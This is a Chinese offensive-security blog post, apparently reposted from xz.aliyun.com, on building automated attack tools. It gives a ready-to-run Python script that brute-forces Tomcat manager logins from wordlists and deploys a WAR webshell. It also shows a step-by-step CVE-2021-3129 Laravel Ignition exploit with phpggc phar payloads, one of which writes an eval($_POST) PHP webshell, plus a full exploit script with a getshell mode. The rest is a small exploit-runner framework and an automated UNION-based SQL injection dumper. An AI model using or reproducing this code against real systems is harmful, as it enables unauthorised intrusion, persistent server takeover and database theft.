tomcat自动化批量爆破+CVE-2021-3129+poc框架编写
2023-5-26 20:39:0 Author: xz.aliyun.com(查看原文) 阅读量:39 收藏

tomcat默认密码为:

tomcat:tomcat
tomcat:123456
admin:tomcat
admin:123456
admin:admin

点击 manager app

这里将jsp webshell压缩为zip修改后缀为war上传即可。

webshell项目地址 https://github.com/tennc/webshell/tree/master/jsp

或者哥斯拉生成webshell。

连接http://192.168.1.103:8080/1/1.jsp

1.1 exp编写

首先我们需要先来爆破tomcat。先看到tomcat如何认证。

测试登录账号为1密码为2。抓包得到

可以看到这里存在一个字段为: Authorization: Basic MToy。解密 MToy

可以看到为账号:密码。

import requests
import base64
import re
import os
def geturl(url,exploit):
    s = requests.Session()
    manager_app_url = url + "/manager/html"
    manager_app_url_status = s.get(manager_app_url).status_code
    if(manager_app_url_status == 401):
        with open('./exp/tomcat/user.txt') as user_open:
            for users in user_open.readlines():
                user_text = users.strip()
                with open('./exp/tomcat/pass.txt') as pass_open:
                    for passes in pass_open.readlines():
                        pass_text = passes.strip()
                        auth = user_text + ":" + pass_text

                        auth_base = base64.b64encode(auth.encode('utf-8'))
                        auth_base = str(auth_base).replace("b'","").replace("'","")
                        header = {
                            'Authorization': 'Basic '+auth_base,
                        }
                        # proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
                        req = s.get(manager_app_url,headers=header)
                        print(auth+" is trying")
                        requ_status = req.status_code
                        if(requ_status == 200):
                            cookie = requests.utils.dict_from_cookiejar(req.cookies)
                            cookie = str(cookie.get('JSESSIONID'))
                            print("[+]cookie:"+cookie)
                            print("[+]" + auth + " login successful!")

直接getshell

首先看到正常上传时的post包

首先需要获取cookie里面的session值,可以看到访问 manager/html时候返回包的头就会有。

cookie = requests.utils.dict_from_cookiejar(req.cookies)
cookie = str(cookie.get('JSESSIONID'))

通过requests.utils.dict_from_cookiejar 获取与cookie,为dict类型通过get方法获取值。

然后就是获取csrf_token值。

这里通过正则匹配。

csrf_pattern = re.compile('org.apache.catalina.filters.CSRF_NONCE=(.*)">')
csrf_token = csrf_pattern.findall(req.text)
print("[+]csrf_token:" + csrf_token[0])

设置post url以及cookie和auth字段

post_url = url + "/manager/html/upload?
org.apache.catalina.filters.CSRF_NONCE="+csrf_token[0]
header2 = {
    'Authorization': 'Basic '+auth_base,
    'Cookie': 'JSESSIONID='+cookie+'; PrivateComputer=true',
}

添加上传的文件。

webshell = {'deployWar':open("2.war","rb")}
post_req = s.post(post_url,headers=header2,files=webshell,verify=False)
webshell_path = url + "/2/1.jsp"
if(requests.get(webshell_path).status_code == 200):
    print("[+]drop webshell successful")
    print("[+]webshell:"+webshell_path)
break

因为这里的webshell名字为1.jsp压缩为1.zip修改名字为2.war所以访问路径为/2/1.jsp。

如果为2.jsp -> 2.war 则路径为/2/2.jsp。其他同理。

完整exp:

import requests
import base64
import re
import os
def geturl(url,exploit):
    s = requests.Session()
    manager_app_url = url + "/manager/html"
    manager_app_url_status = s.get(manager_app_url).status_code
    if(manager_app_url_status == 401):
        with open('./exp/tomcat/user.txt') as user_open:
            for users in user_open.readlines():
                user_text = users.strip()
                with open('./exp/tomcat/pass.txt') as pass_open:
                    for passes in pass_open.readlines():
                        pass_text = passes.strip()
                        auth = user_text + ":" + pass_text

                        auth_base = base64.b64encode(auth.encode('utf-8'))
                        auth_base = str(auth_base).replace("b'","").replace("'","")
                        header = {
                            'Authorization': 'Basic '+auth_base,
                        }
                        # proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
                        req = s.get(manager_app_url,headers=header)
                        print(auth+" is trying")
                        requ_status = req.status_code
                        if(requ_status == 200):
                            cookie = requests.utils.dict_from_cookiejar(req.cookies)
                            cookie = str(cookie.get('JSESSIONID'))
                            print("[+]cookie:"+cookie)
                            print("[+]" + auth + " login successful!")
                            if(exploit == 0):
                                break
                            else:
                                csrf_pattern = re.compile('org.apache.catalina.filters.CSRF_NONCE=(.*)">')
                                csrf_token = csrf_pattern.findall(req.text)
                                print("[+]csrf_token:" + csrf_token[0])
                                post_url = url + "/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE="+csrf_token[0]
                                header2 = {
                                    'Authorization': 'Basic '+auth_base,
                                    'Cookie': 'JSESSIONID='+cookie+'; PrivateComputer=true',
                                }
                                webshell = {'deployWar':open("./exp/tomcat/2.war","rb")}
                                post_req = s.post(post_url,headers=header2,files=webshell,verify=False)
                                webshell_path = url + "/2/1.jsp"
                                if(requests.get(webshell_path).status_code == 200):
                                    print("[+]drop webshell successful")
                                    print("[+]webshell:"+webshell_path)
                                break

使用 phpggc工具生成一条laravel中存在的反序列化利用POC(经过编码后的)

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.52.20:8000
Content-Type: application/json
Content-Length: 168

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

当出现了Ignition的报错,说明漏洞存在,且开启了debug模式

1.首先发送下面数据包将原日志文件laravel.log清空

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.52.20:8000
Content-Type: application/json
Content-Length: 168

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

如果出现500重新发送

2.发送下面数据包给Log增加一次前缀,用于对齐

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

3.用phpggc生成phar序列化利用POC

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

在生成的payload后面加上一个a

4.将POC作为viewFile的值,发送数据包

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.52.20:8000
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=64=00=30=00=6B=00=2F=00=31=00=70=00=52=00=49=00=71=00=57=00=72=00=36=00=77=00=46=00=6C=00=38=00=30=00=4D=00=2B=00=48=00=4B=00=2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
  }
}

5.发送如下数据包,清空对log文件中的干扰字符,只留下POC

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。

6.使用phar进行反序列化,执行任意代码(此时需要使用绝对路径)

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}


利用成功

编写exp:

import json
import pyfiglet
import requests
import argparse

ascii_banner = pyfiglet.figlet_format("CVE-2021-3129")
print(ascii_banner)

parser = argparse.ArgumentParser("python CVE-2021-3129.py -u url --check <--shell>\r\n Example:python CVE-2021-3129.py url")  # 当们在命令行输入错误时,进行提示
parser.add_argument("-u",dest='attack_url',help="url")
parser.add_argument("-f",dest='attack_payload',help="payload file")
parser.add_argument("--check",dest="check_vul",help="check the vuln",nargs='?',const = 'phpinfo.txt')
parser.add_argument("--shell",dest="get_shell",help="getshell",nargs='?',const = 'shell.txt')
args = parser.parse_args()
url = args.attack_url
payload = args.attack_payload

if(args.check_vul == None and args.get_shell == None and payload == None):
    print("python CVE-2021-3129.py -h for help")
    exit(-1)

if(args.check_vul != None and payload != None):
    print("python CVE-2021-3129.py -h for help")
    exit(-1)

if(payload != None and args.get_shell != None):
    print("python CVE-2021-3129.py -h for help")
    exit(-1)

if(args.check_vul != None and args.get_shell != None):
    print("python CVE-2021-3129.py -h for help")
    exit(-1)

while(url.endswith('/')):
    url = list(url)
    url.pop()
    url = "".join(url)

payloads = []

choose_file_flag = 0
check_flag = 0
getshell_flag = 0

if(args.check_vul == None and args.get_shell == None):
    choose_file_flag = 1
    try:
        with open(payload,'r',encoding='utf-8') as f:
            for data in f.readlines():
                data = data.strip('\n')
                payloads.append(data)
    except:
        print("file not found!")
        exit(-1)

if(args.get_shell == None and payload == None and args.check_vul != None):
    check_flag = 1
    try:
        with open('phpinfo.txt','r',encoding='utf-8') as f:
            for data in f.readlines():
                data = data.strip('\n')
                payloads.append(data)
    except:
        print("file not found!")
        exit(-1)

if(args.get_shell != None and payload == None and args.check_vul == None):
    getshell_flag = 1
    try:
        with open('shell.txt','r',encoding='utf-8') as f:
            for data in f.readlines():
                data = data.strip('\n')
                payloads.append(data)
    except:
        print("file not found!")
        exit(-1)

session = requests.Session()

headers = {
    'Content-Type':'application/json'
}

poc = {
    'solution':'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
    'parameters':{
        'variableName':'username',
        'viewFile':'xxxxxxx'
    }
}

first_payload = {
    'solution':'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
    'parameters':{
        'variableName':'username',
        'viewFile':'php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
    }
}

second_payload = {
    'solution':'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
    'parameters':{
        'variableName':'username',
        'viewFile':'AA'
    }
}

third_payload = {
    'solution':'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
    'parameters':{
        'variableName':'username',
        'viewFile':payloads[0]
    }
}

fourth_payload = {
    'solution':'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
    'parameters':{
        'variableName':'username',
        'viewFile':'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
    }
}

fifth_payload = {
    'solution':'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
    'parameters':{
        'variableName':'username',
        'viewFile':'phar:///var/www/storage/logs/laravel.log/test.txt'
    }
}

Test_url = url + '/_ignition/execute-solution'
poc_test = session.post(url=Test_url,json=poc,headers=headers)
resp_poc_test = poc_test.text
flag = 0
if('file_get_contents' in resp_poc_test):
    flag = 1
    print("[+]%s maybe is vulnerable!!!" % url)
else:
    print("[-]%s is not vulnerable" % url)
    exit(-1)

if(flag == 1):
    reverse_log = session.post(url=Test_url,json=first_payload,headers=headers)
    flag = 0
    while(reverse_log.status_code != 200):
        flag += 1
        reverse_log = session.post(url=Test_url,json=first_payload,headers=headers)
        if(flag >= 5):
            print("[-]需要手工测试")
            exit(-1)
    print("[+]Clear log success")
    flag = 1

if(flag == 1):
    alignment = session.post(url=Test_url,json=second_payload,headers=headers)
    print("[+]alignment success")

if(flag == 1):
    poc_send = session.post(url=Test_url,json=third_payload,headers=headers)
    print("[+]payload send success")

if(flag == 1):
    flag = 0
    clear_poc = session.post(url=Test_url,json=fourth_payload,headers=headers)
    while(clear_poc.status_code != 200):
        flag += 1
        clear_poc = session.post(url=Test_url,json=fourth_payload,headers=headers)
        if(flag >= 5):
            print("[-]maybe the Absolute path error!!!")
            exit(-1)
    print("[+]clear success!")
    flag = 1


# choose_file_flag = 0
# check_flag = 0
# getshell_flag = 0


if(flag == 1 and getshell_flag == 1):
    exec_payload = session.post(url=Test_url,json=fifth_payload,headers=headers)
    webshell = url + '/shell.php'
    check_webshell = session.get(webshell)
    if(check_webshell.status_code == 200):
        print("[+]webshell upload success!!")
        print("-"* 40)
        print("[+]webshell path:"+webshell)
    else:
        print("[-]webshell upload failed")

if(flag == 1 and check_flag == 1):
    exec_payload = session.post(url=Test_url,json=fifth_payload,headers=headers)
    if('info()' in exec_payload.text):
        print("[+]%s is vulnerable" % url)
    else:
        print("[-]%s is not vulnerable" % url)

if(flag == 1 and choose_file_flag == 1):
    exec_payload = session.post(url=Test_url,json=fifth_payload,headers=headers)
    print("[+]payload has been sent, please verify by yoursel")

import sys
import importlib
import pyfiglet

def poc(url,pocpath):
    exploit = 0
    url = url
    poc_path = "exp"+pocpath.replace("/",".")
    importpoc = importlib.import_module(poc_path)
    importpoc.geturl(url,exploit)

def exp(url,pocpath):
        exploit = 1
        url = url
        poc_path = "exp"+pocpath.replace("/",".")  # pocpath = exp.tomcat.wargetshell
        importpoc = importlib.import_module(poc_path)
        importpoc.geturl(url,exploit)
def listAllPoc():
    print("list all poc:")
    list = """
    /tomcat/wargetshell 弱口令部署war包getshell
    """
    print(list)
if __name__ == "__main__":
    if(len(sys.argv) == 2):
        if(sys.argv[1] == "--list"):
            listAllPoc()
            exit(0)
    if(len(sys.argv) == 5):
        url = sys.argv[2]
        file = sys.argv[4]
        if(sys.argv[3] == "--check"):
            poc(url,file)
        elif(sys.argv[3] == "--exploit"):
            exp(url,file)
        else:
            result = pyfiglet.figlet_format(text="Ypoc", font="smslant")
            print(result)
            print("usage:")
            print("         python3 ypoc.py --list")
            print("         python3 ypoc.py -u http://127.0.0.1 --exploit /tomcat/wargetshell")
            print("         python3 ypoc.py -u http://127.0.0.1 --check /tomcat/wargetshell")
    else:
        result = pyfiglet.figlet_format(text="Ypoc", font="smslant")
        print(result)
        print("usage:")
        print("         python3 ypoc.py --list")
        print("         python3 ypoc.py -u http://127.0.0.1 --exploit /tomcat/wargetshell")
        print("         python3 ypoc.py -u http://127.0.0.1 --check /tomcat/wargetshell")

我们把exp统一放在exp目录里面对应的系统名字。例如:./exp/tomcat/wargetshell.py

import requests
import base64
import re
import os
def geturl(url,exploit):
    s = requests.Session()
    manager_app_url = url + "/manager/html"
    manager_app_url_status = s.get(manager_app_url).status_code
    if(manager_app_url_status == 401):
        with open('./exp/tomcat/user.txt') as user_open:
            for users in user_open.readlines():
                user_text = users.strip()
                with open('./exp/tomcat/pass.txt') as pass_open:
                    for passes in pass_open.readlines():
                        pass_text = passes.strip()
                        auth = user_text + ":" + pass_text

                        auth_base = base64.b64encode(auth.encode('utf-8'))
                        auth_base = str(auth_base).replace("b'","").replace("'","")
                        header = {
                            'Authorization': 'Basic '+auth_base,
                        }
                        # proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
                        req = s.get(manager_app_url,headers=header)
                        print(auth+" is trying")
                        requ_status = req.status_code
                        if(requ_status == 200):
                            cookie = requests.utils.dict_from_cookiejar(req.cookies)
                            cookie = str(cookie.get('JSESSIONID'))
                            print("[+]cookie:"+cookie)
                            print("[+]" + auth + " login successful!")
                            if(exploit == 0):
                                break
                            else:
                                csrf_pattern = re.compile('org.apache.catalina.filters.CSRF_NONCE=(.*)">')
                                csrf_token = csrf_pattern.findall(req.text)
                                print("[+]csrf_token:" + csrf_token[0])
                                post_url = url + "/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE="+csrf_token[0]
                                header2 = {
                                    'Authorization': 'Basic '+auth_base,
                                    'Cookie': 'JSESSIONID='+cookie+'; PrivateComputer=true',
                                }
                                webshell = {'deployWar':open("./exp/tomcat/2.war","rb")}
                                post_req = s.post(post_url,headers=header2,files=webshell,verify=False)
                                webshell_path = url + "/2/1.jsp"
                                if(requests.get(webshell_path).status_code == 200):
                                    print("[+]drop webshell successful")
                                    print("[+]webshell:"+webshell_path)
                                break

如果我们调用--check那么就只检测登录是否成功。如果为--exploit那么就去尝试getshell。
例如sql注入

import requests
def geturl(url,exploit):
    url_len = len(requests.get(url).text)
    column_count = 0
    union_return = ""
    for i in range(1,10):
        order_payload = url + " order by "+str(i)
        order_len = len(requests.get(order_payload).text)
        if(url_len != order_len):
            order_payload = url + " order by "+str(i-1)
            column_count = i-1
            break
    for i in range(1,column_count+1):
        union_return = union_return+str(i)+","
    union_return = union_return.strip(',')
    union_payload = url + " union select " + union_return
    print(requests.get(union_payload).text)
    count_choose = input("set count:")
    table = union_return.replace(count_choose,"group_concat(table_name)")
    table_payload = url + " union select "+ table + " from information_schema.tables where table_schema=database()"
    print(requests.get(table_payload).text)
    table_choose = input("choose table_name:")
    column = union_return.replace(count_choose,"group_concat(column_name)")
    column_payload = url + " union select "+column + " from information_schema.columns where table_schema=database() and table_name='"+table_choose+"'"
    print(requests.get(column_payload).text)
    dump_choose = input("choose dump:")
    dump = union_return.replace(count_choose,"group_concat("+dump_choose+")")
    dump_payload = url + " union select " + dump + " from " + table_choose
    print(requests.get(dump_payload).text)


文章来源: https://xz.aliyun.com/t/12561
如有侵权请联系:admin#unsafe.sh